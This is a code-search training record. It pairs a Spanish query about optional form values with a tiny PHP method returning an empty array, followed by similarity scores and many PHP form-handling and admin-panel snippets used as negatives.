[ "0.7653695", "0.7394246", "0.73803484", "0.721721", "0.71303356", "0.7047368", "0.70110595", "0.7004194", "0.69693255", "0.69540143", "0.6934306", "0.6927529", "0.6926334", "0.6926334", "0.6889092", "0.6886403", "0.68782943", "0.68717366", "0.6868518", "0.685894", "0.6850348", "0.6834682", "0.6834511", "0.6830692", "0.6811666", "0.68114895", "0.68108004", "0.6801407", "0.67937434", "0.6786614", "0.6777024", "0.6774686", "0.6754131", "0.67422706", "0.6738453", "0.67319494", "0.6731463", "0.6701955", "0.66820097", "0.66820097", "0.6679336", "0.6679336", "0.66755384", "0.6660447", "0.6657997", "0.66530377", "0.6648493", "0.66438735", "0.66269124", "0.6607457", "0.6606669", "0.6603488", "0.6603488", "0.6603488", "0.6603488", "0.6603488", "0.6603488", "0.6603488", "0.6603488", "0.6600683", "0.6600683", "0.65939146", "0.6575029", "0.6571119", "0.656645", "0.65646833", "0.65621376", "0.6558678", "0.6556221", "0.6550756", "0.6550756", "0.6550756", "0.6550756", "0.6550756", "0.6550756", "0.6550756", "0.6550756", "0.6550756", "0.6550756", "0.6550756", "0.6550756", "0.6550756", "0.6550756", "0.6546205", "0.65343565", "0.653249", "0.65264815", "0.6523212", "0.6520258", "0.6515231", "0.6513274", "0.65130085", "0.6507593", "0.6504201", "0.6504201", "0.6504201", "0.6504201", "0.65031254", "0.6501933", "0.6499635", "0.6497933" ]
0.0
-1
Valores opcionales para su utilizacion en los formularios
public function optsValues() { return []; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function asignar_valores(){\n\t\t$this->nombre=$_POST['nombre'];\n\t\t$this->prioridad=$_POST['prioridad'];\n\t\t$this->etiqueta=$_POST['etiqueta'];\n\t\t$this->descripcion=$_POST['descripcion'];\n\t\t$this->claves=$_POST['claves'];\n\t\t$this->tipo=$_POST['tipo'];\n\t\t$this->icono=$_POST['icono'];\n\t}", "function asignar_valores(){\n\t\t$this->tabla=$_POST['tabla'];\n\t\t$this->pertenece=$_POST['pertenece'];\n\t\t$this->asunto=$_POST['asunto'];\n\t\t$this->descripcion=$_POST['contenido'];\n\t\t$this->fecha=$_POST['fecha'];\n\t\t$this->hora=$_POST['hora'];\n\t\t$this->fechamod=$_POST['fechamod'];\n\t}", "function asignar_valores(){\n\t\t$this->nombre=$_POST['nombre'];\n\t\t$this->apellido=$_POST['apellido'];\n\t\t$this->telefono=$_POST['telefono'];\n\t\t$this->email=$_POST['email'];\n\t\t\n\t\t$this->tipo=$_POST['tipo'];\n\t\t$this->ano=$_POST['ano'];\n\t\t$this->valor_vehiculo=$_POST['valor_vehiculo'];\n\t\t$this->saldo=$_POST['saldo'];\n\t\t$this->valor_inicial=$_POST['valor_inicial'];\n\t\t$this->comision=$_POST['comision'];\n\t\t$this->plazo=$_POST['plazo'];\n\t\t$this->cuotas=$_POST['cuotas'];\n\t\t$this->total=$_POST['total'];\n\t}", "function asignar_valores(){\n\t\t$this->codigo=$_POST['codigo'];\n\t\t$this->nombre=$_POST['nombre'];\n\t\t$this->marca=$_POST['marca'];\n\t\t$this->fecha=$_POST['fecha'];\n\t\t$this->categoria=$_POST['categoria'];\n\t\t$this->hotel=$_POST['hoteles'];\n\t\t$this->cantidad=$_POST['cantidad'];\n\t\t$this->lugar=$_POST['lugar'];\n\t\t$this->prioridad=$_POST['prioridad'];\n\t\t$this->detal=$_POST['detal'];\n\t\t$this->mayor=$_POST['mayor'];\n\t\t$this->limite=$_POST['limite'];\n\t\t$this->descripcion=$_POST['descripcion'];\n\t\t$this->claves=$_POST['claves'];\n\t\t$this->segmento=$_POST['segmento'];\n\t\t$this->principal=$_POST['principal'];\n\t\t\n\t\t\n\t}", "function asignar_valores(){\n\t\t//$this->ciudad=$_SESSION['ciudad_admin'];\n\t\t$this->nombre=$_POST['nombre'];\n\t\t$this->apellido=$_POST['apellido'];\n\t\t$this->cantidad=$_POST['cantidad'];\n\t\t$this->cedula=$_POST['cedula'];\n\t\t$this->correo=$_POST['correo'];\n\t}", "public function valiteForm();", "function asignar_valores3(){\n\t\t//$this->ciudad=$_SESSION['ciudad_admin'];\n\t\t\n\t\t$this->id=$_POST['id'];\n\t\t$this->temporada=$_POST['temporada'];\n\t\t$this->nombre=$_POST['nombre_plan'];\n\t\t$this->descripcion=$_POST['descripcion_plan'];\n\t\t$this->precio=$_POST['precio_plan'];\n\t\t$this->maxadultos=$_POST['maxadultos'];\n\t\t$this->prioridad=$_POST['prioridad'];\n\t\t$this->mostrar=$_POST['publica'];\n\t\t\n\t}", "function muestraFormularioMetas(){\n $name = $titulo = $urlfolio = \"\";\n $folio = $random = 0;\n if($this->data['folio'] != \"\"){\n $tmp=explode('-',$this->data['folio']);\n if($this->opc == 9){\n $name=\"guardaAvance\";\n $arrayProyecto = $this->regresaDatosProyecto($tmp[0]);\n $folio = $tmp[0];\n $urlfolio=$this->data['folio'];\n $titulo=CAPTURAREPORTEDEMETAS;\n $random=rand(1,10000000);\n }\n else{\n $name=\"actualizaAvance\";\n $arrayProyecto = $this->regresaDatosProyecto($tmp[1]);\n $folio = $tmp[1];\n $urlfolio=$tmp[1].\"-\".$tmp[2];\n $random=$tmp[0];\n }\n $this->arrayNotificaciones = $this->notificaciones ();\n $titulo = $arrayProyecto['proyecto'];\n $resultados = $this->consultaActividades($this->pages->limit);\n $arrayDisabled = $this->recuperaPermisos($arrayProyecto['unidadResponsable_id'],$arrayProyecto['programa_id']); \n $trimestreId = $this->obtenTrimestre($arrayDisabled);\n $arrayUnidadOperativas=$this->catalogoUnidadesOperativas($this->db);\n\t\t\t$campoTrimestre=\"estatus_avance_entrega\";\n\t\t\tif($campoTrimestre > 1){\n\t\t\t\t$campoTrimestre=\"estatus_avance_entrega\".$campoTrimestre;\n\t\t\t}\n\t\t\t\n $this->buffer=\"\n <input type='hidden' name='noAtributos' id='noAtributos' value='\".( count($resultados) + 0).\"'>\n <input type='hidden' name='valueId' id='valueId' value='\".($this->arrayAvanceMetas['id'] + 0).\"'>\n <input type='hidden' name='folio' id='folio' value='\".$folio.\"'>\n <input type='hidden' name='random' id='random' value='\".$random.\"'>\n <input type='hidden' name='trimestreId' id='trimestreId' value='\".$trimestreId.\"'>\n <div class='panel panel-danger spancing'>\n <div class='panel-heading titulosBlanco'>\".$titulo.\"</div>\n <div class='panel-body'>\n <table align='center' border='0' class='table table-condensed'>\n <tr class='active alturaComponentesA'>\n <td class='tdleft' colspan='2' width='25%'>\".PROYECTO.\"</td>\n <td class='tdleft' colspan='2'>\".$arrayProyecto['proyecto'].\"</td>\n </tr>\n <tr class='alturaComponentesA'>\n <td class='tdleft' colspan='2' >\".UNIDADOPERATIVA.\"</td>\n <td class='tdleft' colspan='2'>\".$arrayUnidadOperativas[$arrayProyecto['unidadOperativaId']].\"</td>\n </tr>\n <tr class='alturaComponentesA'>\n <td class='tdleft' colspan='2' >\".TRIMESTRE.\"</td>\n <td class='tdleft' colspan='2'>\".$trimestreId.\"</td>\n </tr>\n \n </table>\n <table width='100%' class='table'>\n <tr>\n <td class='tdcenter fondotable' rowspan='2' width='30%'>\".ACTIVIDAD.\"</td>\n <td colspan='2' class='tdcenter fondotable' width='10%'>\".TRIMESTRE1C.\"</td>\n <td colspan='2' class='tdcenter fondotable' width='10%'>\".TRIMESTRE2C.\"</td>\n <td colspan='2' class='tdcenter fondotable' width='10%'>\".TRIMESTRE3C.\"</td>\n <td colspan='2' class='tdcenter fondotable' width='10%'>\".TRIMESTRE4C.\"</td>\n <td colspan='2' class='tdcenter fondotable' width='10%'>\".TOTAL.\"</td>\n <td class='tdcenter fondotable' rowspan='2' width='14%'>\".MEDIDA.\"</td>\n <td class='tdcenter fondotable' rowspan='2' width=' 8%'>\".ucfirst(substr(PONDERACION,0,4)).\"</td>\n <td class='tdcenter fondotable' rowspan='2' width=' 8%'>\".ucfirst(substr(TIPOACT,8,3)).\"</td>\n </tr>\n <tr>\n <td class='tdcenter fondotable' width='5%'>\".P.\"</td>\n <td class='tdcenter fondotable' width='5%'>\".R.\"</td>\n <td class='tdcenter fondotable' width='5%'>\".P.\"</td>\n <td class='tdcenter fondotable' width='5%'>\".R.\"</td>\n <td class='tdcenter fondotable' width='5%'>\".P.\"</td>\n <td class='tdcenter fondotable' width='5%'>\".R.\"</td>\n <td class='tdcenter fondotable' width='5%'>\".P.\"</td>\n <td class='tdcenter fondotable' width='5%'>\".R.\"</td>\n <td class='tdcenter fondotable' width='5%'>\".P.\"</td>\n <td class='tdcenter fondotable' width='5%'>\".R.\"</td>\n </tr>\";\n $contadorTab1=1;\n $contadorTab2=2;\n $contadorTab3=3;\n $contadorTab4=4; \n $contadorRen = $total = $totales = $rtotal = $rtotales = 0;\n $disabled_t1 = $disabled_t2 = $disabled_t3 = $disabled_t4 = \"\";\n $fondo_t1 = 'background-color:#ffff99;';\n $fondo_t2 = 'background-color:#ffff99;';\n $fondo_t3 = 'background-color:#ffff99;';\n $fondo_t4 = 'background-color:#ffff99;';\n if($arrayDisabled[1]['dis'] + 0 == 0){\n $disabled_t1=\" readonly ='true' \";\n $fondo_t1 = '';\n }\n if($arrayDisabled[2]['dis'] + 0 == 0){\n $disabled_t2=\" readonly ='true' \";\n $fondo_t2 = '';\n }\n if($arrayDisabled[3]['dis'] + 0 == 0){\n $disabled_t3=\" readonly ='true' \";\n $fondo_t3 = '';\n }\n if($arrayDisabled[4]['dis'] + 0 == 0){\n $disabled_t4=\" readonly ='true' \";\n $fondo_t4 = '';\n }\n $arrayEditable=array(1,3,4,6,7,8,9);\n \n foreach($resultados as $id => $resul){\n $rand = rand(1,99999999999999);\n $class=\"\";\n if($contador % 2 == 0)\n $class=\"active\";\n $campo=\"estatus_avance_entrega_t\".$trimestreId; \n $idEstatusActividad =$resul[$campo] ;\n $varTemporalId = $resul['id'].\"-\".$arrayProyecto['id'].\"-\".$trimestreId;\n $varTemporalIdE = $resul ['id'] . \"-\" . $arrayProyecto['id'].\"-\".$trimestreId.\"-\".$idEstatusActividad; \n $idact= $resul['id'];\n $totales = $totales + $this->arrayDatos[$idact][5] + 0;\n $tmp=\"\";\n \n if($resul['tipo_actividad_id'] != 0){\n $this->buffer.=\"\n <tr class=' $class alturaComponentesA'>\n <td class='tdleft' rowspan='2'>\".$resul['actividad'].\"</td>\n <td class='tdcenter numMetas form-control'>\".($this->arrayDatos[$idact][1] + 0).\"</td>\n <td class='tdcenter'>\n <input type='text' class='form-control validanumsMA' tabindex='\".$contadorTab1.\"'\n id='r-\".$contadorRen.\"-\".$resul['id'].\"-\".$contadorTab1.\"-1-\".$resul['tipo_actividad_id'].\"' maxlength='10' value='\".($this->arrayAvanceMetas[$idact][1] + 0).\"' style='width:35px;$fondo_t1' \".$disabled_t1.\">\n </td>\n <td class='tdcenter numMetas form-control'>\".($this->arrayDatos[$idact][2] + 0).\"</td>\n <td class='tdcenter'>\n <input type='text' class='form-control validanumsMA' \".$this->disabled.\" tabindex='\".$contadorTab2.\"'\n id='r-\".$contadorRen.\"-\".$resul['id'].\"-\".$contadorTab2.\"-2-\".$resul['tipo_actividad_id'].\"' maxlength='10' value='\".($this->arrayAvanceMetas[$idact][2] + 0).\"' style='width:35px;$fondo_t2' \".$disabled_t2.\"> \n </td>\n <td class='tdcenter numMetas form-control'>\".($this->arrayDatos[$idact][3] + 0).\"</td>\n <td class='tdcenter'>\n <input type='text' class='form-control validanumsMA' \".$this->disabled.\" tabindex='\".$contadorTab3.\"'\n id='r-\".$contadorRen.\"-\".$resul['id'].\"-\".$contadorTab3.\"-3-\".$resul['tipo_actividad_id'].\"' maxlength='10' value='\".($this->arrayAvanceMetas[$idact][3] + 0).\"' style='width:35px;$fondo_t3' \".$disabled_t3.\">\n </td>\n <td class='tdcenter numMetas form-control'>\".($this->arrayDatos[$idact][4] + 0).\"</td>\n <td class='tdcenter'>\n <input type='text' class='form-control validanumsMA' \".$this->disabled.\" tabindex='\".$contadorTab4.\"'\n id='r-\".$contadorRen.\"-\".$resul['id'].\"-\".$contadorTab4.\"-4-\".$resul['tipo_actividad_id'].\"' maxlength='10' value='\".($this->arrayAvanceMetas[$idact][4] + 0).\"' style='width:35px;$fondo_t4' \".$disabled_t4.\">\n </td>\n <td class='tdcenter' rowspan='2'>\n <span id='total\".$contadorRen.\"' class='totales'>\".number_format(($this->arrayDatos[$idact][1] + $this->arrayDatos[$idact][2] + $this->arrayDatos[$idact][3] + $this->arrayDatos[$idact][4] + 0),0,',','.').\"</span>\n </td>\n <td class='tdcenter' rowspan='2'>\n <span id='rtotal\".$contadorRen.\"' class='totales'>\".number_format($this->arrayAvanceMetas[$idact][1] + $this->arrayAvanceMetas[$idact][2] + $this->arrayAvanceMetas[$idact][3] +$this->arrayAvanceMetas[$idact][4],0,',','.').\"</span>\n </td>\n <td class='tdcenter'>\".$resul['medida'].\"</td>\n <td class='tdcenter'>\".$resul['ponderacion'].\"</td>\n <td class='tdcenter'>\".$resul['tipo_actividad_id'].\"</td>\n </tr>\n <tr>\n <td colspan='8' class='tdleft $class'>\".$this->regresaUltimoComentario($arrayProyecto['id'],$resul['id']).\"<br>\".$this->regresaNoAdjuntos($arrayProyecto['id'],$resul['id']).\"<span id='avance'></span></td>\";\n $rtotales = $rtotales + $this->arrayAvanceMetas[$idact][5]; \n if($this->session['rol'] == 1 || $this->session['rol'] >=3){\n $this->buffer.=\"<td class='tdcenter $class' colspan='3'>\"; \n if($this->session['rol'] == 1 || $this->session['rol'] >=4){\n $classb=\"mComentariosConsulta\";\n if(in_array($arrayProyecto[$campoTrimestre],$arrayEditable)){\n $classb=\"mComentarios\";\n }\n $this->buffer.=\"<button type='button' class='btn btn-success btn-sm $classb' id='\".$resul['proyecto_id'].\"-\".$resul['id'].\"-\".$trimestreId.\"'><span class='glyphicon glyphicon-pencil'></span>&nbsp;&nbsp;Comentarios</button>\";\n }\n if($this->session['rol'] >=3){\n $this->buffer.=\"<button type='button' class='btn btn-warning btn-sm masFile' id='m-\".$resul['proyecto_id'].\"-\".$resul['id'].\"-\".$trimestreId.\"'>&nbsp;&nbsp;M&aacute;s</button>\";\n }\n $this->buffer.=\"</td>\";\n }\n if($this->session['rol'] == 2){\n $this->buffer.=\"\n <td class='tdcenter $class'><button type='button' class='btn btn-success btn-sm mComentariosConsulta' id='\".$resul['proyecto_id'].\"-\".$resul['id'].\"-\".$trimestreId.\"'><span class='glyphicon glyphicon-pencil'></span>&nbsp;&nbsp;Comentarios</button></td>\n <td class='tdcenter $class'>\n <button type='button' class='btn btn-default aprobadosavances' data-toggle='tooltip' data-placement='bottom'\n title='\".PROYECTOAPROBADO.\"' id='aaa-\".$varTemporalIdE.\"'><span class='glyphicon glyphicon-ok'></span>\n </button>\n </td>\n <td class='tdcenter $class'>\n <button type='button' class='btn btn-default noaprobadosavances' data-toggle='tooltip' data-placement='bottom'\n title='\".PROYECTONOAPROBADO.\"' id='ann-\".$varTemporalIdE.\"'><span class='glyphicon glyphicon-remove'></span>\n </button></td>\";\n }\n \n \n $this->buffer.=\"</tr><tr><td colspan='11'>&nbsp;</td>\";\n if( ($idEstatusActividad!= 3) && ($idEstatusActividad!= 6) && ($idEstatusActividad!= 9)){\n $this->buffer .= \"<td class='tdleft' colspan='3' id='v-\".$varTemporalIdE.\"' style='background-color:\" . $this->arrayNotificaciones [$idEstatusActividad] ['color'] . \";color:#000000;'>\" . $this->arrayNotificaciones [$idEstatusActividad] ['nom'] . \"</td>\";\n }\n else{\n $this->buffer .= \"<td class='tdleft verComentariosNoAprobados' colspan='3' id='v-\".$varTemporalIdE.\"' style='cursor:pointer;background-color:\" . $this->arrayNotificaciones [$idEstatusActividad] ['color'] . \";color:#000000;' data-toggle='tooltip' data-placement='bottom' title='\" . TOOLTIPMUESTRACOMENTARIOS . \"'>\" . $this->arrayNotificaciones [$idEstatusActividad] ['nom'] . \"</td>\";\n }\n $this->buffer .= \"</tr>\";\n $contadorTab1 = $contadorTab1 + 4;\n $contadorTab2 = $contadorTab2 + 4;\n $contadorTab3 = $contadorTab3 + 4;\n $contadorTab4 = $contadorTab4 + 4;\n $contadorRen++;\n $contador++;\n }\n }\n $contadorTab4++;\n \n /*$this->buffer.=\"<tr><td colspan='8'></td>\n <td class='tdleft'>Total:</td><td class='tdcenter'><span id='totales' class='totales'>\".($totales + 0).\"</span></td>\n <td class='tdcenter'><span id='rtotales' class='totales'>\".($rtotales + 0).\"</span></td>\n <td colspan='3'>&nbsp;</td></tr></table>*/\n $this->buffer.=\"</table>\n </div>\n <div class=\\\"central\\\"><br>\"; \n if( (in_array($arrayProyecto[$campoTrimestre],$arrayEditable)) or ($this->session['rol']<=2 or $this->session['rol']<=5) ){\n \n $this->buffer.=\"<button type='button' tabindex='\".$contadorTab4.\"' class='btn btn-success btn-sm' id='\".$name.\"' name='\".$name.\"'><span class='glyphicon glyphicon-floppy-saved'></span>&nbsp;\".AGREGAREPORTEMETA.\"</button>&nbsp;&nbsp;\";\n }\n $this->buffer.=\"<button type='button' class='btn btn-primary btn-sm'\n onclick=\\\"location='\".$this->path.\"aplicacion.php?aplicacion=\".$this->session ['aplicacion'].\"&apli_com=\".$this->session ['apli_com'].\"&opc=0'\\\">\".REGRESA.\"</button>\n </div>\".$this->procesando(4).\"<br></div>\";\n }else{\n header(\"Location: \".$this->path.\"aplicacion.php?aplicacion=\".$this->session ['aplicacion'].\"&apli_com=\".$this->session ['apli_com'].\"&opc=1\");\n } \n }", "function asignar_valores(){\n $this->nombre=$_POST['nombre'];\n $this->prioridad=$_POST['prioridad'];\n $this->etiqueta=$_POST['etiqueta'];\n $this->descripcion=$_POST['descripcion'];\n $this->claves=$_POST['claves'];\n $this->tipo=$_POST['tipo'];\n }", "function asignar_valores2(){\n\t\t$this->nombre=$_POST['nombre'];\n\t\t$this->apellido=$_POST['apellido'];\n\t\t$this->telefono=$_POST['telefono'];\n\t\t$this->email=$_POST['email'];\n\t\t\n\t\t$this->marca=$_POST['marca'];\n\t\t$this->modelo=$_POST['modelo'];\n\t\t$this->ano=$_POST['ano'];\n\t\t$this->tipo=$_POST['tipo'];\n\t\t$this->descripcion=$_POST['descripcion'];\n\t}", "function form_init_data()\r\n {\r\n $this->set_element_value(\"Swimmers\", FT_CREATE) ;\r\n $this->set_element_value(\"Swim Meets\", FT_CREATE) ;\r\n $this->set_element_value(\"Swim Teams\", FT_CREATE) ;\r\n }", "public function form()\n {\n $this->select('type', '计算类型')\n ->options(Interest::$typeMap)\n ->default(Interest::TYPE_FUTURE)->required();\n\n $this->number('value', '计算值')->required();\n $this->number('years', '存入年限')->required();\n $this->rate('rate', '年化利率')->required();\n }", "function readForm() {\n\t\t$this->FiscaalGroepID = $this->formHelper(\"FiscaalGroepID\", 0);\n\t\t$this->FiscaalGroupType = $this->formHelper(\"FiscaalGroupType\", 0);\n\t\t$this->GewijzigdDoor = $this->formHelper(\"GewijzigdDoor\", 0);\n\t\t$this->GewijzigdOp = $this->formHelper(\"GewijzigdOp\", \"\");\n\t}", "function asignar_valores2(){\n\t\t/* Metodo para recibir valores del exterior. */\n\t\t//$this->ciudad=$_SESSION['ciudad_admin'];\n\t\t\n\t\t$this->id=$_POST['id'];\n\t\t$this->desde=$_POST['desde'];\n\t\t$this->hasta=$_POST['hasta'];\n\t\t$this->titulo=$_POST['titulo'];\n\t\t$this->alternativo=$_POST['alternativo'];\n\t\t$this->paxadicional=$_POST['paxadicional'];\n\t\t$this->prioridad=$_POST['prioridad'];\n\t\t$this->mostrar=$_POST['publica'];\n\t\t\n\t\t$this->desde_a=$_POST['desde_a'];\n\t\t$this->hasta_a=$_POST['hasta_a'];\n\t\t$this->precio_a=$_POST['precio_a'];\n\t\t$this->desde_b=$_POST['desde_b'];\n\t\t$this->hasta_b=$_POST['hasta_b'];\n\t\t$this->precio_b=$_POST['precio_b'];\n\t\t\n\t}", "public function form()\n {\n $this->switch('auto_df_switch', __('message.tikuanconfig.auto_df_switch'));\n $this->timeRange('auto_df_stime', 'auto_df_etime', '开启时间');\n $this->text('auto_df_maxmoney', __('message.tikuanconfig.auto_df_maxmoney'))->setWidth(2);\n $this->text('auto_df_max_count', __('message.tikuanconfig.auto_df_max_count'))->setWidth(2);\n $this->text('auto_df_max_sum', __('message.tikuanconfig.auto_df_max_sum'))->setWidth(2);\n\n }", "function conf()\n {\n $dato_anio = toba::memoria()->get_parametro('filtro_anio');\n $dato_ua = toba::memoria()->get_parametro('filtro_ua');\n if(isset($dato_anio)){//el anio es filtro obligatorio asi que siempre vuelve con este dato\n $auxiliar['valor']=$dato_anio;\n $auxiliar['condicion']='es_igual_a';\n $auxiliar2['anio']=$auxiliar;\n\n if(isset($dato_ua)){//viene desde informe de estado actual\n $auxiliar['valor']=$dato_ua;\n $auxiliar['condicion']='es_igual_a';\n $auxiliar2['uni_acad']=$auxiliar;\n }\n $this->s__datos_filtro=$auxiliar2;\n }\n }", "function form_init_data() \r\n {\r\n //$this->set_hidden_element_value(\"id\", \"logon\");\r\n $dataForm = $this->getViewVariable('courseDataForm');\r\n\r\n $this->set_element_value(\"courseName\", $dataForm['c_name'] );\r\n $this->set_element_value(\"courseLanguage\", $dataForm['c_language'] );\r\n //$this->set_element_value(\"coursedescription\", $dataForm['c_description'] );\r\n $this->set_element_value(\"courseActive\", $dataForm['c_active'] );\r\n $this->set_element_value(\"courseAccess\", $dataForm['c_access'] );\r\n $this->set_element_value(\"coursedataDescripcion\", $dataForm['cd_descripcion'] );\r\n $this->set_element_value(\"coursedataVersion\", $dataForm['cd_version'] );\r\n $this->set_element_value(\"coursedataPalabrasClaves\", $dataForm['cd_claves'] );\r\n $this->set_element_value(\"coursedataDestinatarios\", $dataForm['cd_destinatarios'] );\r\n $this->set_element_value(\"coursedataConocimientosPrevios\", $dataForm['cd_conocimientos'] );\r\n $this->set_element_value(\"coursedataMetodologia\", $dataForm['cd_metodologia'] );\r\n\r\n }", "function saveForm(){\t\n\t\t$this->saveFormBase();\n\t\t$this->saveFormGeoCoverage();\n\t\t$this->saveVaFormResolution();\n\t\tif ($this->dataset->nbModForm >0) $this->saveModForm();\n\t\tif ($this->dataset->nbSatForm >0) $this->saveSatForm();\n\t\tif ($this->dataset->nbInstruForm >0) $this->saveInstruForm();\n\t\t$this->saveFormGrid();\n\t\t//Parameter\n\t\t$this->saveFormVariables($this->dataset->nbVars);\n\t\t//REQ DATA_FORMAT\n\t\t$this->dataset->required_data_formats = array();\n\t\t$this->dataset->required_data_formats[0] = new data_format;\n\t\t$this->dataset->required_data_formats[0]->data_format_id = $this->exportValue('required_data_format');\n\t}", "private function generateFormConstantes()\n {\n $inputs = array();\n $inputs[] = array(\n 'type' => 'text',\n 'label' => 'Seuil de Calcul Prime fichier',\n 'name' => 'co_seuil_prime_fichier',\n 'desc' => 'Montant du seuil de calcul de la prime',\n 'class' => 'input fixed-width-md',\n 'suffix' => '€'\n );\n $inputs[] = array(\n 'type' => 'text',\n 'label' => 'Prime fichier',\n 'name' => 'co_prime_fichier',\n 'desc' => 'Montant de la prime fichier',\n 'class' => 'input fixed-width-md',\n 'suffix' => '€'\n );\n $inputs[] = array(\n 'type' => 'text',\n 'label' => 'Prime parrainage',\n 'name' => 'co_prime_parrainage',\n 'desc' => 'Montant de la prime parrainage',\n 'class' => 'input fixed-width-md',\n 'suffix' => '€'\n );\n $inputs[] = array(\n 'type' => 'text',\n 'label' => 'Prospects par jour',\n 'name' => 'co_prospects_jour',\n 'desc' => 'Nombre de prospects affectés par jour travaillé',\n 'class' => 'input fixed-width-md',\n );\n $inputs[] = array(\n 'type' => 'text',\n 'label' => 'Prospects par heure',\n 'name' => 'co_prospects_heure',\n 'desc' => 'Nombre de prospects par heure travaillé',\n 'class' => 'input fixed-width-md',\n );\n $inputs[] = array(\n 'type' => 'text',\n 'label' => 'Ancienneté des prospects',\n 'name' => 'co_prospects_jour_max',\n 'desc' => 'Nombre de jour maximum d\\'ancienneté des prospects pour l\\'atribution',\n 'class' => 'input fixed-width-md',\n 'suffix' => 'jour'\n );\n\n $fields_form = array(\n 'form' => array(\n 'legend' => array(\n 'title' => $this->l('Configuration'),\n 'icon' => 'icon-cogs'\n ),\n 'input' => $inputs,\n 'submit' => array(\n 'title' => $this->l('Save'),\n 'class' => 'btn btn-default pull-right',\n 'name' => 'submitConfiguration'\n )\n )\n );\n\n $lang = new Language((int)Configuration::get('PS_LANG_DEFAULT'));\n $helper = new HelperForm();\n $helper->default_form_language = $lang->id;\n $helper->currentIndex = $this->context->link->getAdminLink('AdminModules', false) . '&configure=' . $this->name\n . '&tab_module=' . $this->tab . '&module_name=' . $this->name;\n $helper->token = Tools::getAdminTokenLite('AdminModules');\n $helper->tpl_vars = array(\n 'fields_value' => $this->getConfigConfiguration(),\n 'languages' => $this->context->controller->getLanguages(),\n 'id_language' => $this->context->language->id\n );\n return $helper->generateForm(array($fields_form));\n\n }", "public static function form(){\n $fecha = mktime(date(\"Y\"), date(\"m\"), date(\"d\"));\n $tipoAct = 'Actividad'->'id_tipo_act';\n return ['nombre' => '', 'tipo_actividad' => '','fecha_desde' =>$fecha, 'fecha_hasta' =>$fecha,\n 'instancia' => '', 'puesto_mencion' =>'','inst_referente' => '',\n 'inst_oferente' => '', 'lugar' =>'','descripcion' =>''];\n\n }", "public static function form_fields(){\n\n \treturn [\n [\n \t'id'=> 'description',\n \t'name'=> 'description', \n \t'desc'=> 'Description', \n \t'val'=>\tnull, \n \t'type'=> 'text',\n \t'maxlength'=> 255,\n \t'required'=> 'required',\n ],\n\n [\n \t'id'=> 'rate',\n \t'name'=> 'rate', \n \t'desc'=> 'Discount Rate', \n \t'val'=>\tnull, \n \t'type'=> 'number',\n \t'min'=> 0,\n \t'max'=> 100,\n \t'step'=> '0.01',\n \t'required'=> 'required',\n ],\n\n [\n \t'id'=> 'stat',\n \t'name'=> 'stat', \n \t'desc'=> 'isActive', \n \t'val'=>1, \n \t'type'=> 'checkbox',\n ],\n ];\n\n }", "function asignar_valores2(){\n\t\t$this->id=$_POST['id_link'];\n\t\t$this->prioridad=$_POST['id_sublink'];\n\t\t$this->etiqueta=$_POST['etiqueta'];\n\t}", "function form_init_data()\r\n {\r\n // Initialize the form fields\r\n\r\n $this->set_hidden_element_value(\"_action\", FT_ACTION_ADD) ;\r\n\r\n $this->set_element_value(\"Meet Start\", array(\"year\" => date(\"Y\"),\r\n \"month\" => date(\"m\"), \"day\" => date(\"d\"))) ;\r\n $this->set_element_value(\"Meet End\", array(\"year\" => date(\"Y\"),\r\n \"month\" => date(\"m\"), \"day\" => date(\"d\"))) ;\r\n\r\n // If the config is set to US only, initialize the country\r\n\r\n if (FT_US_ONLY)\r\n $this->set_element_value(\"Meet Country\",\r\n FT_SDIF_COUNTRY_CODE_UNITED_STATES_OF_AMERICA_VALUE) ;\r\n\r\n $this->set_element_value(\"Pool Altitude\", \"0\") ;\r\n }", "private function _displayForm()\n\t{\n\t\t$transactions = array('0'=>$this->l('Authorization'),'1'=>$this->l('Preauthorization'),'2'=>$this->l('Preauthorization confirmation'),'3'=>$this->l('Callback'), '5' => $this->l('Recurring transaction'), '6' => $this->l('Successive transaction'), '7' => $this->l('Preauthentication'), '8' => $this->l('Preauthentication confirmation'), '9' => $this->l('Cancellation of Preauthentication'), 'O' => $this->l('Delayed authorization'), 'P' => $this->l('Delayed authorization confirmation'), 'Q' => $this->l('Delayed authorization cancellation'), 'R' => $this->l('Released initial recurring deferred'), 'S' => $this->l('Successive recurrent released'));\n\t\t\n\t\t$transact = 0;\n\t\t$transact2 = 0;\n\t\t$transact3 = 0;\n\t\tif ( (Tools::getValue('trans') == \"\") and (isset($this->trans)) )\n\t\t\t$transact = $this->trans;\n\t\telse\n\t\t\t$transact = Tools::getValue('trans');\n\t\tif ( (Tools::getValue('trans2') == \"\") and (isset($this->trans2)) )\n\t\t\t$transact2 = $this->trans2;\n\t\telse\n\t\t\t$transact2 = Tools::getValue('trans2');\n\t\tif ( (Tools::getValue('trans3') == \"\") and (isset($this->trans3)) )\n\t\t\t$transact3 = $this->trans3;\n\t\telse\n\t\t\t$transact3 = Tools::getValue('trans3');\n\t\t// obtenemos las monedas dadas de alta en la tienda\n\t\t$currencies = Currency::getCurrencies();\n\t\tif ( (Tools::getValue('nombre') == \"\") and (isset($this->nombre)) )\n\t\t\t$nombre = $this->nombre;\n\t\telse\n\t\t\t$nombre = Tools::getValue('nombre');\n\t\tif ( (Tools::getValue('nombre2') == \"\") and (isset($this->nombre2)) )\n\t\t\t$nombre2 = $this->nombre2;\n\t\telse\n\t\t\t$nombre2 = Tools::getValue('nombre2');\n\t\tif ( (Tools::getValue('nombre3') == \"\") and (isset($this->nombre3)) )\n\t\t\t$nombre3 = $this->nombre3;\n\t\telse\n\t\t\t$nombre3 = Tools::getValue('nombre3');\n\t\tif ( (Tools::getValue('clave') == \"\") and (isset($this->clave)) )\n\t\t\t$clave = $this->clave;\n\t\telse\n\t\t\t$clave = Tools::getValue('clave');\n\t\tif ( (Tools::getValue('clave2') == \"\") and (isset($this->clave2)) )\n\t\t\t$clave2 = $this->clave2;\n\t\telse\n\t\t\t$clave2 = Tools::getValue('clave2');\n\t\tif ( (Tools::getValue('clave3') == \"\") and (isset($this->clave3)) )\n\t\t\t$clave3 = $this->clave3;\n\t\telse\n\t\t\t$clave3 = Tools::getValue('clave3');\n\t\t// Opciones para el select de monedas.\n\t\tif ( (Tools::getValue('moneda') == \"\") and (isset($this->moneda)) )\n\t\t\t$moneda = $this->moneda;\n\t\telse\n\t\t\t$moneda = Tools::getValue('moneda');\n\t\tif ( (Tools::getValue('moneda2') == \"\") and (isset($this->moneda2)) )\n\t\t\t$moneda2 = $this->moneda2;\n\t\telse\n\t\t\t$moneda2 = 